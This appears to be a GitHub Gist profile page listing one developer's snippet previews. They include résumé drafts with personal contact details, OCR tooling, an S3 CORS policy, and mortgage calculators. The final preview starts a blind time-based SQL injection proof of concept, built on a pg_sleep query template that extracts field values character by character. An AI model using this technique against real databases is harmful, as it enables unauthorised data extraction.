Skip to content

Instantly share code, notes, and snippets.

import numpy as np
import cv2
filenames = ["file1.jpg", ... ]
columns = []
for i, filename in enumerate(filenames):
img: np.array = cv2.imread(f"p/{filename}")
height: int = len(img)
width: int = len(img[0])
A D A M D E R E W E C K I
Potrero Hill, San Francisco 740-502-3073
derewecki@gmail.com github.com/derwiki
== P R O F E S S I O N A L E X P E R I E N C E ==
Lyft - San Francisco, CA
Engineer (11/2017 - Present)
* Python/React for Passenger Growth team
Certain Lending - San Francisco, CA
A D A M D E R E W E C K I
Potrero Hill, San Francisco 740-502-3073
derewecki@gmail.com github.com/derwiki
== P R O F E S S I O N A L E X P E R I E N C E ==
Certain Lending - San Francisco, CA
Senior Engineering Contractor (9/2017 - Present)
* Building first version of product in node.js
Coderpad - San Francisco, CA
Adams-MacBook-Pro:~ adam$ ping speedtest.fremont.linode.com
PING speedtest.fremont.linode.com (50.116.14.9): 56 data bytes
64 bytes from 50.116.14.9: icmp_seq=0 ttl=58 time=7.676 ms
64 bytes from 50.116.14.9: icmp_seq=1 ttl=58 time=7.538 ms
64 bytes from 50.116.14.9: icmp_seq=2 ttl=58 time=8.682 ms
64 bytes from 50.116.14.9: icmp_seq=3 ttl=58 time=7.110 ms
64 bytes from 50.116.14.9: icmp_seq=4 ttl=58 time=6.924 ms
64 bytes from 50.116.14.9: icmp_seq=5 ttl=58 time=7.911 ms
^C
--- speedtest.fremont.linode.com ping statistics ---
@derwiki
derwiki / ghostscript-resolution-comparison
Created March 31, 2017 21:30
OCRing PDFs using Ghostscript and Google Cloud Vision
$ for x in 100 200 225 250 300 ; do echo $x; gs -sDEVICE=jpeg -DBATCH -dNOPAUSE -r$x -sOutputFile=warren.jpg -dLastPage=1 -dFirstPage=1 warren.pdf 1>/dev/null ; jpeginfo warren.jpg; done
100
warren.jpg 856 x 1400 24bit JFIF N 80332
200
warren.jpg 1712 x 2800 24bit JFIF N 240411
225
warren.jpg 1926 x 3150 24bit JFIF N 284315
250
warren.jpg 2140 x 3500 24bit JFIF N 337588
300
@derwiki
derwiki / google_cloud_vision_ocr_pdf_service.rb
Last active May 31, 2018 08:54
`GoogleCloudVision::OcrPdfService.new('path/to/document.pdf').perform` yields each page's text.
require 'google/cloud/vision'
def log(s); puts s; end
module GoogleCloudVision
class OcrPdfService
attr_accessor :pdf_filename
def initialize(pdf_filename)
fail "GOOGLE_CLOUD_KEYFILE env variable required" unless ENV['GOOGLE_CLOUD_KEYFILE']
@derwiki
derwiki / CORS-AWS-S3-PDF.js.xml
Created February 15, 2017 23:57
Sample Cross-Origin Resource Sharing (CORS) Policy to allow PDF.js to read PDFs from an AWS S3 bucket.
<?xml version="1.0" encoding="UTF-8"?>
<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01">
<CORSRule>
<AllowedOrigin>*</AllowedOrigin>
<AllowedMethod>GET</AllowedMethod>
<AllowedMethod>HEAD</AllowedMethod>
<MaxAgeSeconds>3000</MaxAgeSeconds>
<AllowedHeader>Range</AllowedHeader>
<AllowedHeader>Authorization</AllowedHeader>
<ExposeHeader>Accept-Ranges</ExposeHeader>
@derwiki
derwiki / mortgage_overpay_calculator.rb
Created February 5, 2017 18:21
How does overpaying your mortgage affect equity earned over 7 years?
PROPERTY_TAX_RATE = 0.015
home_value = 1_000_000.0
deposit = 500_000
#loan_amount = home_value - deposit
yearly_property_tax = home_value * PROPERTY_TAX_RATE
monthly_property_tax = yearly_property_tax / 12.0
monthly_property_tax_adjustment = monthly_property_tax * 0.36
principal = 500_000.0
monthly_interest_rate = 0.03 / 12
@derwiki
derwiki / historical_housing_prices_analyzer.rb
Last active May 31, 2018 08:55
Using historical housing price data for an area, determine the minimum appreciation for every year interval
prices = [
247901,
313230,
362438,
361772,
345520,
338346,
329087,
328406,
342284,
@derwiki
derwiki / blind-sql-time-based-attack.rb
Last active April 23, 2019 12:30
Blind time-based SQL injection attack, proof of concept (with PgHero)
# More information available at https://www.owasp.org/index.php/Blind_SQL_Injection
POSITIVE_DELAY = 2
CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a
def query(table, field, id, char, pos)
%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]
end
def timeit